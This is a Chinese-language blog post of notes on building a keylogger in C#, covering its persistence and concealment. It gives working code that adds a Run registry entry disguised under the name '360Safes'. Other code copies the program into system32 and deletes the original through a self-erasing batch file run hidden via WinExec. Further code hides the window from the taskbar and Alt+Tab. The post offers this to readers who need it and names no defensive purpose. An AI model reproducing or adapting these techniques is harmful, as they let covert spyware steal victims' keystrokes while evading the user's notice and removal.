C#编写的键盘记录程序备忘

http://www.cnblogs.com/gardenforu/archive/2011/04/20/2021734.html
众所周知的原因，C#并不是很适合编写这类特殊的程序。但还是和大家分享一点C#编写一个键盘记录程序的遇到的一些问题，希望对有需要的朋友有所帮助。
一、开机启动
最基本的是开机自启动，简单代码如下：
开机启动项有四个可选也可以同时添加
HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Run
HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Run
HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/RunOnce
HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/RunOnce
命名空间using Microsoft.Win32;

public void registryRun()
{
try
{
string s = "/""+System.Environment.SystemDirectory + "//" + System.IO.Path.GetFileName(Application.ExecutablePath)+"/"";
RegistryKey key1 = Registry.LocalMachine.CreateSubKey("Software//Microsoft//Windows//CurrentVersion//run");
key1.SetValue("360Safes",s );
key1.Close();
}
catch { }
}

在注册表开机启动项Run中建立了一个键360Safes（相对隐蔽一点，随意），键值为拷贝到system32的键盘记录程序。

卸载开机启动项：

public void DeleteRun()
{
try
{
RegistryKey key = Registry.LocalMachine;
RegistryKey soft = key.OpenSubKey(@"Software/Microsoft//Windows/CurrentVersion/run", true);
if (IsRegeditKeyExist(soft, "360Safes"))
{
MessageBox.Show("开机项已删除！");
}
else
{
MessageBox.Show("该开机项不存在");
}
key.Close();
soft.Close();
}
catch { }
}
//判断键值是否存在  有则删除
private bool IsRegeditKeyExist(RegistryKey RegBoot, string RegKeyName)
{
try
{
string[] subkeyNames;
subkeyNames = RegBoot.GetValueNames();
foreach (string keyName in subkeyNames)
{

if (keyName == RegKeyName)  //判断键值的名称
{
RegBoot.DeleteValue(keyName);
RegBoot.Close();
return true;
}
}
RegBoot.Close();
return false;
}
catch { return false; }

}

二、首次运行处理

首次运行键盘记录程序有几步操作(以mm.exe代替键盘记录程序)，通过生成的批处理文件删除运行中的程序解决自删除问题。

简要流程：复制自身至system32 → 生成批处理并运行 → 退出程序 → 批处理完成删除程序,启动system32下的程序→ 批处理自删除

1. 判断当前运行程序mm.exe位置，如果不是位于system32文件夹则复制自身

private void MoveFile()
{
try
{
if (!File.Exists(System.Environment.SystemDirectory + "//" + System.IO.Path.GetFileName(Application.ExecutablePath)))
{
File.Move(Application.ExecutablePath, System.Environment.SystemDirectory + "//" + System.IO.Path.GetFileName(Application.ExecutablePath));
}
catch { }
}

2. 生成一个批处理, 执行删除文件操作

批处理里会判断mm.exe是不是存在，如不存在会一直执行删除，可以保证最终删除mm.exe。批处理实现是cmd下执行的一段代码，通过cmd来删除一个bat文件也不会有问题，所以批处理可以进行自删除。

public static void BeginKillSelf()
{
try
{
if (Application.StartupPath != System.Environment.SystemDirectory)
{
string vBatFile = Path.GetDirectoryName(Application.ExecutablePath) + "//a.bat";
using (StreamWriter vStreamWriter = new StreamWriter(vBatFile, false, Encoding.Default))
{
vStreamWriter.Write(string.Format(
":del/r/n" +
" del /"{0}/"/r/n" +
"if exist /"{0}/" goto del/r/n" +
"start /"/"  /"{1}/" /r/n" +  //启动system32下的mm.exe
"del %0/r/n", Application.ExecutablePath,  System.Environment.SystemDirectory + "//" + System.IO.Path.GetFileName(Application.ExecutablePath)) +                 // 删除mm.exe
"exit"  //退出cmd
);
}
WinExec(vBatFile, 0); Environment.Exit(0);
}
}

catch { }
}

 

WinExec是Windows API，声明如下：

[DllImport("kernel32.dll")]
public static extern uint WinExec(string lpCmdLine, uint uCmdShow);

3. mm.exe退出程序，批处理得以删除mm.exe

彻底退出程序用

Application.Exit();

4. 批处理运行System32下的mm.exe,再删除自身

三、只允许一个进程实例

启动时检查进程,如果发现程序已经运行则退出

private void RunAProcessAtOnce()
{
System.Diagnostics.Process[] pProcesses = System.Diagnostics.Process.GetProcessesByName(
System.Diagnostics.Process.GetCurrentProcess().ProcessName);
if (pProcesses.Length > 1)
{
Application.Exit();
return;
}
}

四、彻底窗体隐藏

彻底的将窗体隐藏有以下几条：

1.  窗体的ShowInTaskbar属性设为false

    WindowState设为启动最小化

    FormBordStyle为None

2. 隐藏Alt+Tab里的图标

重载SetVisibleCore

protected override void SetVisibleCore(bool value)
{
base.SetVisibleCore(value);
}

然后在窗体的Load事件写入 SetVisibleCore(false);即可